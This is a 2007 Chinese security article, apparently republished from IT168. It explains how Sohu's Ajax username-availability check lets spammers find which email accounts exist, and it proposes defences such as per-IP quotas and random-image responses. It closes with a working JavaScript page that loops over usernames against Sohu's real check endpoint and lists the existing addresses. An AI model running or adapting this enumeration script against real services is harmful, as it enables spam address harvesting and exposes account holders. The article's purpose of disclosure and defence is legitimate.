Ajax让Sohu邮箱成为垃圾邮件的帮凶

作者:空虚浪子心[X.G.C] http://cnxhacker.net
来源:IT168
原文地址:http://publish.it168.com/2007/0606/20070606005701.shtml

E-mail成为信息安全的重大隐患
  今天,电子邮箱(E-mail)无疑已经成为大众通讯的工具;由于垃圾邮件泛滥,E-mail也成为信息安全的重大隐患之一。搜索到有效邮件地址成为垃圾邮件发送成功与否的决定要素。随着Ajax新兴技术在大型网站,如SOHU等得到应用,使得垃圾邮件制造者有机可乘。

  现在浏览器端以 JavaScript 为核心,基于各种 Web 标准(即:早已完成标准化的XHTML/CSS/DOM/XML/XSLT 和正在进行标准化的XMLHTTP)的技术正在加速整合,Ajax 就是这一系列技术的一个统称。其关键在于对浏览器端的JavaScript、DHTML和与服务器异步通信的组合。使用Ajax,可以使B/S(浏览器/服务器)模式的程序出现类似于C/S(客户机和服务器结构)的即时动态cool效果,实现不刷新页面,动态改变页面数据。

  目前很多大型的网站已经大范围使用了Ajax技术,比如我们经常看到的:google搜索时出来的搜索次数以及可能搜索到的下拉列表、在注册用户时输入用户名后,自动显示该用户是否可以被注册等等。然而这项技术在给用户带来便利的同时,若是考虑不周也会给带来一定的安全隐患。

  我们知道在开发程序用户登陆模块,处理用户登录失败时,出于安全方面考虑,不能返回给用户具体的“密码错误”或“用户名错误”,而要说:“用户名或密码错误”。(如图1)

(图1)

  既然这样,当然就不能在其他地方给用户返回,具体是用户名错误还是密码错误。但是有些网站采用Ajax技术之后,虽是给用户带来便捷为目的,却犯了这样的错误。据笔者经过一系列的测试发现,国内很多门型网站的邮件系统都存在这样的漏洞, SOHU、网易、21CN等都犯了上述错误。我们就以Sohu为例,看看垃圾邮件制作者是如何利用其email帐户暴露漏洞,得到有效邮件地址列表的。

  说到如何暴出邮件系统的email帐户,有些读者已经想到本文开头的例子“在注册用户时输入用户名后,自动显示该用户是否可以被注册”,说的就是这个例子。大家可以去sohu注册一个帐户:http://passport.sohu.com/web/signup.jsp ,输入用户名,光标移到“请输入密码”的输入框,如果这个用户存在,马上后面会提示:(图2)

(图2)

  如果不存在,则提示:

(图3)

Ajax处理流程
  那么这两个信息是怎么来的呢?这里的Ajax处理流程是,JavaScript调用了相应的XMLHttpReques对象去访问一个web应用程序,然后获取返回结果后,直接把返回的结果输出到页面。

  部分源代码:

<script language="JavaScript">
…...
var checkusername = false;
function getMyHTML(serverPage, objID) {
var Ajax = GetO();
var obj = document.getElementById(objID); Ajax.open("GET", serverPage, true);
Ajax.onreadystatechange = function() {
//服务器返回状态为4(数据全部接收完成)并且http返回值为200(正常访问)
if (Ajax.readyState == 4 && Ajax.status == 200) {
//把responseText(返回值替换层的html代码)
obj.innerHTML = Ajax.responseText;
}
}
Ajax.send(null);
}
//创建XMLHttpReques对象
function GetO(){
var Ajax=false;
try {
Ajax = new ActiveXObject("Msxml2.XMLHTTP");
} catch (e) {
try {
Ajax = new ActiveXObject("Microsoft.XMLHTTP");
} catch (E) {
Ajax = false;
}
}
if (!Ajax && typeof XMLHttpRequest!='undefined') {
Ajax = new XMLHttpRequest();
}
return Ajax;
}
//检查用户名的方法
//在username输入框的onchange事件中调用了CheckUserName方法。
function CheckUserName(time){
if(document.form1.username.value!=""){
getMyHTML("check.jsp?operator=checkusername&username="+document.form1.username.value+"&userdomain="+document.form1.userdomain.value+"&time="+time,"div_username");
}
}
……
</script>

Ajax请求防御之道
  可以看出,它访问了check.jsp页面验证用户名是否存在,把地址简化一下然后直接输入地址栏访问:

(图6)

  在必要的参数中,operator是用来判断调用不同验证方法的(该check页面提供了几种不同的验证,还有两次密码是否一致等等), userdomain是域名,sohu有几个不同域名的邮箱,username就是用户名了,而代码中的time应该是为了保证每次get提交的时候让浏览器不缓存而设的(没有细看,不重要)。所以,三个参数中主要是username发生变化,而服务器仅仅返回两种不同的结果。

  这样就很利于我们爆破用户名了,还记得我们怎么暴力破解邮箱密码么?挂字典,然后不断提交,判断服务器返回字符中有没有特定的字符,破解的速度取决于网速和返回字符的多少。正常的访问是返回一个页面,这样就有一堆垃圾数据。然而Ajax告诉我们,只要从服务器返回“0”和“1”就可以作出判断,所以这里返回的更少了,仅仅是:

(图7)

  为此,我们完全可以可以尝试使用其他更方便的语言写出工具,用于搜集有效邮件地址,速度一定很快。很多大网站都使用了这样的验证方法,就不一一例举了。我已经仿照Ajax使用JAVASCRIPT写个爆sohu用户名测试程序,相关代码在这里不在本文列出来了。有兴趣的朋友可以去论坛( http://www.ixpub.net/thread-654600-1-1.html )查看。

  我列举了大家可能经常想到的一些解决方案:
  1、判断request的来源地址。这样的方式不推荐,因为黑客可以更改http包头,从而绕过检测。
  2、采用验证码。也不推荐,请各位大大想一下用户的感受,刚输入用户名就让我输入注册码?这样Ajax意义何在?
  3、给一个IP在一个小时内,分配一些份额,比如500个(考虑到网吧等等多台机器一个IP,使用NAT的地方)。
  4、返回随机图片。这是我自己设想了一种解决方案,没有经过测试,下面详细说明。

  从给出的前三个方案看,都存在一个误区,认为Ajax应该获得服务器返回的两个有特殊意义的值(用户名可用或不可用),然后再判断,分两种情况在页面显示出来不同的信息,或者把两个不同的返回结果直接给用户,这样两种经典的处理模式,问题就集中在“两个不同结果的值”这里。现在我们从需求出发,分析用户希望看到的结果,无非就是想知道用户名是否可用,也就是说最终的结果显示在用户容易看到的地方,而且用户可以“看懂”信息,并可以加以区别(知道能不能使用这个用户名注册)。而黑客(或垃圾邮件搜集者)认为,只要用户能看懂,程序也应该可以看懂并预测出两种结果,所以就有了这种暴力获取邮箱名称的攻击。如果 “人”能看懂而程序不能看懂呢?举个典型的例子,大家还记得QQ网站的那个令人讨厌的中文验证码吧?那个东西就是随机的,程序不能预测并且用户可以看懂。在这里也可以使用这项技术。直接在服务器随机把“可以注册”和“不能注册”四个字,做成随机图片,文字以随机的字体和随机的颜色出现在图片中随机的位置,然后返回给javascript,再由javascript把图片放到网页中,用户看到的是返回的是随机大小的图片,暴力获取邮箱名的攻击就立刻失去了效果。

(图8)

  是否该在这里也使用Ajax技术,无所谓对错,只要大网站一带头,这样做的就会大有人在,只是我们在模仿的时候也要仔细考虑。毕竟Ajax的实质其实是在用户“感觉不出来”的情况下访问了web应用程序,再把返回的结果交给用户,同时用户可以去做其他的事情,不用等待结果。既然Ajax可以访问,恶意用户当然也可以自己去访问,所以我们应该把处理Ajax请求的web应用程序像其他页面一样做好相应的防范措施,就可以有效的避免安全问题。

文中涉及的代码:

<!DOCTYPE HTML PUBLIC "-//W3C//DTD HTML 4.0 Transitional//EN">
<HTML><HEAD><TITLE>m.html</TITLE>
<META http-equiv=content-type content="text/html; charset=UTF-8">
<SCRIPT language=javascript>

var xmlHttp = new ActiveXObject("Msxml2.XMLHTTP");
var f = ['admin1','admin2','admin3','admin4','admin5','admin6','admin7','admin8','admin9','admin10','admin11','admin12','admin13','admin14','admin15','admin16','admin17','admin18','admin19','admin21','admin20','admin22','admin23','admin24','admin25','admin26','admin27','admin28','admin29','admin30','adm0','amin30','adn30','ain30'];
var i = 0;
function rrrrrr()
{
alert('开始');
for(;i<f.length;i++)
{
xmlHttp.open('GET', 'http://passport.sohu.com/web/check.jsp?operator=checkusername&userdomain=sohu.com&username='+f+'&time='+(new Date()).getTime(), false);
xmlHttp.onreadystatechange = res;
xmlHttp.send();
}
}
function res()
{
if (xmlHttp.readyState==4) {
if (xmlHttp.status==200) {
var txt = xmlHttp.responseText;
if (txt.indexOf("该")>-1)
{
txtid.innerHTML = txtid.innerHTML + '存在的:'+f + '@sohu.com<br>';
}else
{
txtid.innerHTML = txtid.innerHTML +'不存在:' + f+ '@sohu.com<br>';
}
} else {
alert('服务器状态错误, 代码:' + xmlHttp.status);
}
}
}
</SCRIPT>

<META content="MSHTML 6.00.2800.1400" name=GENERATOR></HEAD>
<BODY>
<DIV id=txtid align=center>a<BR></DIV>
<TABLE align=center>
<TBODY>
<TR>
<TD align=middle>
AJAX查看搜狐的注册邮箱<br>
ps:有点慢,非异步调用ActiveX<br>
<INPUT id=aaa onclick=rrrrrr() type=button align=middle value=点我查看><BR></TD></TR></TBODY>< /TABLE></BODY></HTML>

相关日志

发表评论